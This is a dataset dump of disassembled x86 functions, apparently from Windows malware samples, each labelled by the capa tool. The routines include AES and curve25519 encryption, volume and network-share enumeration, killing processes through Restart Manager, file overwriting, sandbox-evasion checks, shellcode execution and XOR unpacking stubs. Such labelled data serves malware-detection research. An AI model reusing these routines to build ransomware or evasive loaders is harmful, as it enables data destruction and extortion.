joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401110
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov eax, edx
mov esi, ecx
push edi
mov edi, eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esi
sub edi, esi
mov ebx, 4
nop dword [eax]
mov edx, 4
mov al, byte [edi + ecx]
xor byte [ecx], al
inc ecx
sub edx, 1
jne 0x401135
sub ebx, 1
jne 0x401130
mov byte [ebp - 1], 1
nop dword [eax]
mov edi, esi
mov ebx, 4
nop word [eax + eax]
mov ecx, edi
mov edx, 4
nop word [eax + eax]
movzx eax, byte [ecx]
lea ecx, [ecx + 4]
mov al, byte [eax + str.cw]
mov byte [ecx - 4], al
sub edx, 1
jne 0x401170
inc edi
sub ebx, 1
jne 0x401160
cmp byte [ebp - 1], 0xa
movzx eax, byte [esi + 5]
mov cl, byte [esi + 1]
mov byte [esi + 1], al
movzx eax, byte [esi + 9]
mov byte [esi + 5], al
movzx eax, byte [esi + 0xd]
mov byte [esi + 9], al
movzx eax, byte [esi + 0xa]
mov byte [esi + 0xd], cl
mov cl, byte [esi + 2]
mov byte [esi + 2], al
movzx eax, byte [esi + 0xe]
mov byte [esi + 0xa], cl
mov cl, byte [esi + 6]
mov byte [esi + 6], al
movzx eax, byte [esi + 0xf]
mov byte [esi + 0xe], cl
mov cl, byte [esi + 3]
mov byte [esi + 3], al
movzx eax, byte [esi + 0xb]
mov byte [esi + 0xf], al
movzx eax, byte [esi + 7]
mov byte [esi + 0xb], al
mov byte [esi + 7], cl
je 0x4012b0
lea edi, [esi + 2]
lea esi, [edx + 4]
nop word [eax + eax]
mov bh, byte [edi + 1]
lea edi, [edi + 4]
mov al, byte [edi - 6]
mov bl, bh
mov ch, byte [edi - 4]
mov cl, al
mov dl, byte [edi - 5]
xor bl, ch
mov byte [ebp - 2], al
xor cl, dl
mov dh, bl
xor dh, al
mov al, cl
shr al, 7
add cl, cl
movzx eax, al
xor dh, dl
imul eax, eax, 0x1b
xor al, cl
mov cl, dl
xor al, byte [ebp - 2]
xor cl, ch
xor al, dh
mov byte [edi - 6], al
mov al, cl
shr al, 7
add cl, cl
movzx eax, al
imul eax, eax, 0x1b
xor al, cl
mov cl, byte [ebp - 2]
xor al, dl
xor cl, bh
xor al, dh
mov byte [edi - 5], al
mov al, bl
shr al, 7
add bl, bl
movzx eax, al
imul eax, eax, 0x1b
xor al, bl
xor al, ch
xor al, dh
mov byte [edi - 4], al
mov al, cl
shr al, 7
add cl, cl
movzx eax, al
imul eax, eax, 0x1b
xor al, cl
xor al, bh
xor al, dh
mov byte [edi - 3], al
sub esi, 1
jne 0x4011f0
mov ch, byte [ebp - 1]
mov ebx, 4
mov esi, dword [ebp - 0xc]
mov eax, esi
movzx edx, ch
shl edx, 4
add edx, dword [ebp - 8]
mov edi, 4
mov cl, byte [edx]
inc edx
xor byte [eax], cl
inc eax
sub edi, 1
jne 0x401296
sub ebx, 1
jne 0x401291
inc ch
mov byte [ebp - 1], ch
jmp 0x401150
mov ecx, dword [ebp - 8]
mov edi, 4
add ecx, 0xa0
nop
mov edx, 4
mov al, byte [ecx]
inc ecx
xor byte [esi], al
inc esi
sub edx, 1
jne 0x4012c5
sub edi, 1
jne 0x4012c0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401370
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, ecx
push 0
push 0
push edi
push 0
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push ebx
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x4013dd
push dword [edi]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x4013dd
push 0
push 0
push dword [ebp + 0xc]
push edi
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push ebx
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x4013ee
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
mov dword [esi], eax
xor eax, eax
pop esi
pop ebx
pop ebp
ret 8
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x4048a0
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x429004]
xor eax, ebp
mov dword [ebp - 8], eax
movups xmm0, xmmword [edx]
push esi
movups xmm1, xmmword [edx + 0x10]
mov edx, dword [ebp + 8]
mov esi, ecx
movd eax, xmm0
lea ecx, [ebp - 0x16c]
movups xmmword [ebp - 0x18], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [ebp - 0x28], xmm0
mov byte [ebp - 0x28], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [ebp - 9], al
call fcn.00401e40
lea eax, [ebp - 0x16c]
push eax
lea eax, [ebp - 0x28]
push eax
lea edx, [ebp - 0x84]
lea ecx, [ebp - 0x20c]
call fcn.00403100
lea edx, [ebp - 0x84]
lea ecx, [ebp - 0x1bc]
call fcn.00403480
lea eax, [ebp - 0x1bc]
push eax
lea edx, [ebp - 0x20c]
lea ecx, [ebp - 0x11c]
call fcn.00401400
add esp, 0xc
lea ecx, [ebp - 0x11c]
call fcn.004018d0
lea ecx, [ebp - 0x11c]
call fcn.004019b0
movups xmm0, xmmword [ebp - 0x11c]
lea edx, [ebp - 0x84]
mov ecx, esi
movups xmmword [ebp - 0x84], xmm0
movups xmm0, xmmword [ebp - 0x10c]
movups xmmword [ebp - 0x74], xmm0
movups xmm0, xmmword [ebp - 0xfc]
movups xmmword [ebp - 0x64], xmm0
movups xmm0, xmmword [ebp - 0xec]
movups xmmword [ebp - 0x54], xmm0
movups xmm0, xmmword [ebp - 0xdc]
movups xmmword [ebp - 0x44], xmm0
call fcn.00402140
mov ecx, dword [ebp - 8]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.0040a11a
mov esp, ebp
pop ebp
ret
Function at 0x4049b0
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4e4
mov eax, dword [0x429004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x47c], 0x425388
mov dword [ebp - 0x478], 0x425390
xor esi, esi
mov dword [ebp - 0x474], 0x425398
mov dword [ebp - 0x470], 0x4253a0
mov dword [ebp - 0x46c], 0x4253a8
mov dword [ebp - 0x468], 0x4253b0
mov dword [ebp - 0x464], 0x4253b8
mov dword [ebp - 0x460], 0x4253c0
mov dword [ebp - 0x45c], 0x4253c8
mov dword [ebp - 0x458], 0x4253d0
mov dword [ebp - 0x454], 0x4253d8
mov dword [ebp - 0x450], 0x4253e0
mov dword [ebp - 0x44c], 0x4253e8
mov dword [ebp - 0x448], 0x4253f0
mov dword [ebp - 0x444], 0x4253f8
mov dword [ebp - 0x440], 0x425400
mov dword [ebp - 0x43c], 0x425408
mov dword [ebp - 0x438], 0x425410
mov dword [ebp - 0x434], 0x425418
mov dword [ebp - 0x430], 0x425420
mov dword [ebp - 0x42c], 0x425428
mov dword [ebp - 0x428], 0x425430
mov dword [ebp - 0x424], 0x425438
mov dword [ebp - 0x420], 0x425440
mov dword [ebp - 0x41c], 0x425448
mov dword [ebp - 0x418], 0x425450
mov dword [ebp - 0x410], edi
nop dword [eax]
nop dword [eax + eax]
mov ebx, dword [ebp + esi*4 - 0x47c]
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x404afb
mov dword [ebp + edi*4 - 0x4e4], ebx
inc edi
inc esi
cmp esi, 0x1a
jl 0x404ae0
xor eax, eax
push 0x10000
push eax
mov word [ebp - 0x20c], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x404c34
push 0x8000
push 0
push esi
call fcn.0040b3e0
add esp, 0xc
push 0x8000
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov dword [ebp - 0x414], eax
mov ebx, eax
nop dword [eax + eax]
test edi, edi
je 0x404c1d
lea eax, [ebp - 0x410]
push eax
push 0x78
lea eax, [ebp - 0x20c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x404b90
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 3
jne 0x404b90
xor eax, eax
mov word [ebp - 0x20c], ax
jmp 0x404c08
mov ebx, dword [ebp + edi*4 - 0x4e8]
dec edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
je 0x404bbd
cmp byte [0x42a33c], 0
je 0x404c02
push ebx
push str._t___Mounted___s_n
call fcn.004012f0
add esp, 8
jmp 0x404c02
cmp byte [0x42a33c], 0
je 0x404c02
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push pe_nt_image_headers32
lea ecx, [ebp - 0x40c]
push ecx
push 0x409
push eax
push 0
push 0x1200
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
lea eax, [ebp - 0x40c]
push eax
push ebx
push str._t____Failed_to_mount__s:__s
call fcn.004012f0
add esp, 0xc
mov ebx, dword [ebp - 0x414]
push 0x8000
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x404b50
push ebx
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a11a
mov esp, ebp
pop ebp
ret
Function at 0x404c50
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x21c
mov eax, dword [0x429004]
xor eax, esp
mov dword [esp + 0x218], eax
push ebx
push esi
push edi
lea eax, [esp + 0x10]
mov dword [esp + 0xc], 0x4000
push eax
push ecx
push 0x13
push 0
push 2
mov dword [esp + 0x28], 0xffffffff
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x404d89
push dword [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x404d7f
push dword [esp + 0xc]
push 0
push ebx
call fcn.0040b3e0
add esp, 0xc
lea eax, [esp + 0xc]
push eax
push ebx
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
jne 0x404d6f
nop
xor edi, edi
cmp dword [esp + 0x14], edi
jbe 0x404d52
lea esi, [ebx + 0xc]
nop dword [eax + eax]
cmp dword [ebx + 8], 3
jne 0x404d38
push dword [esi + 8]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x425584
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
cmp byte [0x42a33c], 0
je 0x404d2f
lea eax, [esp + 0x18]
push eax
push 0x425588
call fcn.004012f0
add esp, 8
lea ecx, [esp + 0x18]
call fcn.00404e10
test dword [esi], 2
je 0x404d48
lea ecx, [esi - 0xc]
call fcn.00404c50
inc edi
add esi, 0x20
cmp edi, dword [esp + 0x14]
jb 0x404cf0
lea eax, [esp + 0xc]
push eax
push ebx
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x404ce0
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [esp + 0x10]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
mov ecx, dword [esp + 0x224]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040a11a
mov esp, ebp
pop ebp
ret
Function at 0x4063a0
Capabilities:
Create restart manager session
Enumerate processes that use resource
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x429004]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x204]
mov dword [ebp - 0x218], ecx
push eax
push 0
lea eax, [ebp - 0x208]
mov dword [ebp - 0x208], 0
push eax
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x4065b0
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x218]
push eax
push 1
push dword [ebp - 0x208]
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x4065b0
push edi
mov edi, dword [sym.imp.RstrtMgr.DLL_RmGetList]
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x20c], eax
lea eax, [ebp - 0x210]
push eax
push 0
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x214]
push eax
push dword [ebp - 0x208]
call edi
cmp eax, 0xea
jne 0x406593
mov eax, dword [ebp - 0x214]
test eax, eax
je 0x406593
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
imul eax, eax, 0x29c
push esi
push eax
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov dword [ebp - 0x21c], esi
test esi, esi
je 0x4064c3
push 0x29c
push 0
push esi
call fcn.0040b3e0
mov eax, dword [ebp - 0x214]
add esp, 0xc
mov dword [ebp - 0x20c], eax
lea eax, [ebp - 0x210]
push eax
push esi
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x214]
push eax
push dword [ebp - 0x208]
call edi
test eax, eax
je 0x4064e2
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 0x208]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
pop esi
pop ebx
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a11a
mov esp, ebp
pop ebp
ret
xor ebx, ebx
cmp dword [ebp - 0x20c], ebx
jbe 0x406554
mov edi, esi
nop
mov eax, dword [edi + 0x28c]
cmp eax, 4
je 0x40653f
cmp eax, 0x3e8
je 0x40653f
mov esi, dword [edi]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, esi
je 0x40653f
push esi
push 0
push 0x100001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, 0xffffffff
je 0x40653f
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x1388
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
add edi, 0x29c
cmp ebx, dword [ebp - 0x20c]
jb 0x4064f0
mov esi, dword [ebp - 0x21c]
push 0
push 1
push dword [ebp - 0x208]
call dword [sym.imp.RstrtMgr.DLL_RmShutdown]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 0x208]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
pop esi
pop ebx
mov al, 1
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a11a
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x208]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a11a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
xor ecx, ebp
call fcn.0040a11a
mov esp, ebp
pop ebp
ret
Function at 0x407400
Capabilities:
Clear file content
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x429004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0x8000000
push 3
push 0
push 0
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 8], 0
mov dword [ebp - 0x14], esi
cmp esi, 0xffffffff
je 0x40747a
lea eax, [ebp - 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x426728
call ebx
xor ecx, ecx
add eax, 0x20
setb cl
neg ecx
or ecx, eax
push ecx
call fcn.00410c5a
mov edi, eax
add esp, 4
mov dword [ebp - 0x18], edi
test edi, edi
jne 0x40748d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a11a
mov esp, ebp
pop ebp
ret
push 0x426728
call ebx
add eax, 0x20
push eax
push 2
push edi
call fcn.0040b3e0
mov edi, dword [ebp - 0xc]
add esp, 0xc
mov ebx, dword [ebp - 0x10]
push 0
push 0
push edi
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
call esi
push 0
lea eax, [ebp - 8]
push eax
push 0x426728
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0x20
push eax
push dword [ebp - 0x18]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0
push edi
push ebx
mov ebx, dword [ebp - 0x14]
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x18]
call fcn.00410c3f
add esp, 4
push 0x426728
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0x20
cmp dword [ebp - 8], eax
jne 0x40747a
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a11a
mov esp, ebp
pop ebp
ret
Function at 0x40a91f
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40a95e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40a95e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40a95e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40a95e
cmp dword [ecx + 0x74], 0xe
jbe 0x40a95e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4125e6
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x420788
push 0x420780
push str.FlsAlloc
push 0x1f
call fcn.004124a5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41261a
push dword [ebp + 8]
mov ecx, esi
call dword [0x41f2a8]
call esi
jmp 0x412620
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x412664
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x420798
push 0x420790
push str.FlsGetValue
push 0x21
call fcn.004124a5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41269b
push dword [ebp + 8]
mov ecx, esi
call dword [0x41f2a8]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4126a3
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4207a0
push 0x420798
push str.FlsSetValue
push 0x22
call fcn.004124a5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4126dd
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41f2a8]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x415d94
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x415e31
push ebx
push esi
call fcn.00415d5d
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00415cf1
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x415dde
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x415e30
push edi
push eax
call fcn.00412d95
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x415dfe
call fcn.00412338
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x415e2f
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00415cf1
add esp, 0x20
test eax, eax
jne 0x415e1d
push edi
call fcn.00412338
jmp 0x415e25
push ebx
call fcn.00412338
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x41e0e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41e10d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41e10d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x401000
Capabilities:
Allocate or change rwx memory
Check for foreground window switch
Check for time delay via gettickcount
Check for unmoving mouse cursor
Execute shellcode via indirect call

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x403008]
cmp eax, 0
jne 0x401021
mov eax, dword [0x40300c]
cmp eax, 0
jne 0x401021
jmp 0x4010b6
call sub.KERNEL32.dll_GetTickCount
mov dword [ebp - 4], eax
push 0x1388
call sub.KERNEL32.dll_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x401021
mov dword [ebp - 0x14], eax
call sub.KERNEL32.dll_GetTickCount
sub eax, dword [ebp - 4]
cmp eax, 0x1388
jl 0x401021
lea eax, [ebp - 8]
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x401021
mov eax, dword [0x403008]
cmp eax, 0
je 0x401093
push 0x3e8
call sub.KERNEL32.dll_Sleep
lea eax, [ebp - 0x10]
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x401067
mov eax, dword [ebp - 4]
mov ebx, dword [ebp - 0xc]
cmp eax, ebx
je 0x401021
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0x10]
cmp eax, ebx
je 0x401067
mov eax, dword [0x40300c]
cmp eax, 0
je 0x4010b6
push 0x1388
call sub.KERNEL32.dll_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x401093
cmp eax, dword [ebp - 0x14]
je 0x401093
push dword [section.data]
mov eax, 0x40301a
mov ebx, 0x40322a
sub ebx, eax
push ebx
push 0x40301a
call fcn.00402bce
lea eax, [ebp - 4]
push eax
push 0x40
mov eax, 0x40112a
mov ebx, fcn.00402bce
sub ebx, eax
push ebx
push 0x40112a
call sub.KERNEL32.dll_VirtualProtect
push dword [0x403004]
mov eax, 0x40112a
mov ebx, fcn.00402bce
sub ebx, eax
push ebx
push 0x40112a
call fcn.00402bce
lea eax, [ebp - 4]
push eax
push dword [eax]
mov eax, 0x40112a
mov ebx, fcn.00402bce
sub ebx, eax
push ebx
push 0x40112a
call sub.KERNEL32.dll_VirtualProtect
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
cmp al, 0x2d
int 0
add byte [esp + ecx - 0x43ffff30], bh
invalid
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x5dd91bae
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x557b1c68
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x40593b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40a020]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004032d6
and dword [ebp - 0x14], 0
cmp dword [0x40b7d8], 0
mov dword [ebp - 0x18], eax
jne 0x4059ee
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x405a96
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x405a96
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40b7d8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40b7dc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40b7e0], eax
call edi
push eax
call esi
mov dword [0x40b7e8], eax
test eax, eax
je 0x4059ee
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40b7e4], eax
mov eax, dword [0x40b7e4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x405a47
cmp dword [0x40b7e8], ecx
je 0x405a47
push eax
call esi
push dword [0x40b7e8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x405a47
test ebx, ebx
je 0x405a47
call edi
test eax, eax
je 0x405a3e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x405a3e
test byte [ebp - 8], 1
jne 0x405a47
or dword [ebp + 0x10], 0x200000
jmp 0x405a7a
mov eax, dword [0x40b7dc]
cmp eax, dword [ebp - 0x18]
je 0x405a7a
push eax
call esi
test eax, eax
je 0x405a7a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x405a7a
mov eax, dword [0x40b7e0]
cmp eax, dword [ebp - 0x18]
je 0x405a7a
push eax
call esi
test eax, eax
je 0x405a7a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40b7d8]
call esi
test eax, eax
je 0x405a96
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x405a98
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040269a
leave
ret

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219